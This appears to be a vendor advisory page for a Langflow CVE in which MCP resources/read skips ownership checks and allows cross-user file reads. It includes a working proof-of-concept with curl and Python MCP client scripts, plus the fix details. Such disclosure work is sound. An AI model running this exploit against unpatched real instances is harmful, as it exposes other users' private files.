CVE-2026-105699

CVE-2026-105699 is a high-severity security vulnerability in langflow (pip), affecting versions >= 1.6.8, <= 1.9.0. It is fixed in 1.9.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers

Langflow's project-scoped MCP transport authenticates the caller for the project_id in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.

This is a cross-user authorization bypass (userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces.

Details

Verified against local checkout:

  • Repository: langflow-ai/langflow
  • Verified on release tag: v1.8.3
  • Commit: 08bf98404cfd7737fde57a2588785766cdf1b42e
  • Earliest stable release known to contain the vulnerable code path: v1.6.8

Relevant code path:

  1. src/backend/base/langflow/api/v1/mcp_projects.py:147-193
    verify_project_auth_conditional() authenticates the caller and checks access only to the project_id in the MCP transport URL.

  2. src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241
    The project-scoped MCP server registers read_resource() and forwards the attacker-controlled URI directly to handle_read_resource(uri=uri).

  3. src/backend/base/langflow/api/v1/mcp_utils.py:163-182
    handle_read_resource() parses the last two URI path segments as flow_id and filename, then directly calls:

    storage_service.get_file(flow_id=flow_id, file_name=filename)
    

    No check ties the supplied flow_id back to the authenticated user or the current project.

  4. src/backend/base/langflow/services/storage/local.py:141-149
    src/backend/base/langflow/services/storage/s3.py:200-217
    The storage layer performs a raw namespace read and is not authorization-aware.

The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.

This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:

  • src/backend/base/langflow/api/v1/mcp_utils.py:102-121
    handle_list_resources(project_id=None) lists files for all flows.
  • src/backend/base/langflow/api/v1/mcp_utils.py:333-380
    handle_list_tools(project_id=None) queries all flows and includes flow IDs in tool metadata.

That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.

PoC

Preconditions:

  • Langflow is running locally with authentication enabled.
  • Two separate users exist on the same instance.
  • The victim has a flow with an uploaded file.
  • The attacker has access to any project they own.

Verify the issue locally by starting Langflow with:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'

set -a
source .env.verify
set +a

export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify"

uv run python - <<'PY'
from langflow.main import setup_app
import uvicorn

app = setup_app(backend_only=True)
uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug")
PY

Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:

  • the normal file download route is blocked for the attacker (404)
  • the same file is readable through the attacker's own project-scoped MCP connection
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -euo pipefail

export BASE='http://127.0.0.1:7860'
export PASS='Passw0rd!Passw0rd!'
export VICTIM_USER="[email protected]"
export ATTACKER_USER="[email protected]"

curl -sS -X POST "$BASE/api/v1/users/" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null

curl -sS -X POST "$BASE/api/v1/users/" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null

export VICTIM_TOKEN=$(
  curl -sS -X POST "$BASE/api/v1/login" \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-urlencode "username=$VICTIM_USER" \
    --data-urlencode "password=$PASS" | jq -r '.access_token'
)

export ATTACKER_TOKEN=$(
  curl -sS -X POST "$BASE/api/v1/login" \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-urlencode "username=$ATTACKER_USER" \
    --data-urlencode "password=$PASS" | jq -r '.access_token'
)

export VICTIM_PROJECT_ID=$(
  curl -sS -X POST "$BASE/api/v1/projects/" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"victim-project"}' | jq -r '.id'
)

export ATTACKER_PROJECT_ID=$(
  curl -sS -X POST "$BASE/api/v1/projects/" \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"attacker-project"}' | jq -r '.id'
)

export VICTIM_FLOW_ID=$(
  curl -sS -X POST "$BASE/api/v1/flows/" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -H 'Content-Type: application/json' \
    -d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \
    | jq -r '.id'
)

printf 'cross-project-read-proof\n' > /tmp/secret.txt

export UPLOAD_JSON=$(
  curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -F "file=@/tmp/secret.txt"
)

export VICTIM_FILE=$(
  printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last'
)

export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE"

export ATTACKER_API_KEY=$(
  curl -sS -X POST "$BASE/api/v1/api_key/" \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"attacker-mcp-key"}' | jq -r '.api_key'
)

export DIRECT_STATUS=$(
  curl -sS -o /dev/null -w '%{http_code}' \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    "$VICTIM_URI"
)

export MCP_READ_OUTPUT=$(
uv run python - <<'PY'
import asyncio
import base64
import os

import httpx
from mcp import ClientSession
from mcp.client.streamable_http import streamable_http_client

base = os.environ["BASE"]
project_id = os.environ["ATTACKER_PROJECT_ID"]
api_key = os.environ["ATTACKER_API_KEY"]
victim_uri = os.environ["VICTIM_URI"]
url = f"{base}/api/v1/mcp/project/{project_id}/streamable"

async def main():
    async with httpx.AsyncClient(headers={"x-api-key": api_key}, timeout=30.0) as client:
        async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _):
            async with ClientSession(read_stream, write_stream) as session:
                await session.initialize()
                result = await session.read_resource(victim_uri)
                blob = result.contents[0].blob
                print(base64.b64decode(base64.b64decode(blob)).decode().strip())

asyncio.run(main())
PY
)

echo "Direct /files/download as attacker -> $DIRECT_STATUS"
echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT"

Expected output:

Direct /files/download as attacker -> 404
Project-scoped MCP resources/read -> cross-project-read-proof

Observed server logs during verification:

GET /api/v1/files/download/... 404 Not Found
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK

Suggested Remediations

  1. Authorize resources/read against the authenticated context before calling storage.
    Resolve flow_id to a database object and require both:
    flow.user_id == current_user.id
    and, for project-scoped transports, flow.folder_id == current_project_id.

  2. Stop trusting arbitrary file-download URIs as resource identifiers.
    Instead, return opaque server-generated resource IDs from resources/list and resolve them server-side to an already authorized object.

  3. Scope global MCP enumeration helpers to the authenticated user.
    handle_list_resources() and handle_list_tools() should not query all flows when project_id=None; they should return only flows owned by the current user, or require elevated privileges for broader discovery.

Fix Status (Maintainer Triage Update, 2026-09-22)

This report is accurate. The vulnerable code path described above (missing
ownership check in handle_read_resource()) has since been fixed.

Corrected affected version range: >= 1.6.8, <= 1.9.0 (not <= 1.8.3 ,
confirmed still vulnerable through v1.9.0; the fix landed with the v1.9.1
release, not later).

Fixed in: v1.9.1 (GitHub Release published 2026-04-24), via PR
#12818, "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)".

  • Backport commit on release-1.9.1: f0fd436fe9829192ee550e6cb46961a01dd37032
  • Corresponding commit on main: b8fe970493fd5fb2e1fc71dfccc79f90b76058fa

The fix:

  • handle_read_resource() now requires an authenticated user context and
    resolves the namespace segment of the URI to a Flow row scoped to
    Flow.user_id == current_user.id, additionally filtering on
    Flow.folder_id == project_id for project-scoped MCP servers
    (src/backend/base/langflow/api/v1/mcp_utils.py).
  • Rejects filenames containing .., /, or \ as defense-in-depth against
    path traversal, and applies the same containment check to the storage
    layer's get_file/get_file_stream/delete_file/get_file_size
    (local.py/s3.py, both in langflow and lfx).
  • handle_list_resources() / handle_list_tools() are now scoped to
    current_user.id on the global (non-project) MCP server, closing the
    cross-user enumeration this report also flagged.

Verified independently against langflow-ai/langflow @ 89444c3bb5
(release-1.11.0 branch, current as of 2026-09-22): the fix is present, and
the regression suite (src/backend/tests/unit/api/v1/test_mcp_utils.py,
21/21 passing) includes test_handle_read_resource_denies_other_users_flow,
which reproduces this report's exact cross-user scenario and asserts it now
raises ValueError("... access denied").

Impact

This is an authenticated IDOR / arbitrary file read issue in the MCP layer.

Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to resources/read.

Practical impact includes:

  • Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts
  • Unauthorized access to sensitive business data stored in flow namespaces
  • Easier exploitation when global MCP helpers reveal other users' flow IDs and file names

Affected versions

langflow (>= 1.6.8, <= 1.9.0)

Security releases

langflow → 1.9.1 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade langflow to 1.9.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-105699? CVE-2026-105699 is a high-severity security vulnerability in langflow (pip), affecting versions >= 1.6.8, <= 1.9.0. It is fixed in 1.9.1.
  2. Which versions of langflow are affected by CVE-2026-105699? langflow (pip) versions >= 1.6.8, <= 1.9.0 is affected.
  3. Is there a fix for CVE-2026-105699? Yes. CVE-2026-105699 is fixed in 1.9.1. Upgrade to this version or later.
  4. Is CVE-2026-105699 exploitable, and should I be worried? Whether CVE-2026-105699 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-105699 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-105699? Upgrade langflow to 1.9.1 or later.

Other vulnerabilities in langflow

Stop the waste.
Protect your environment with Kodem.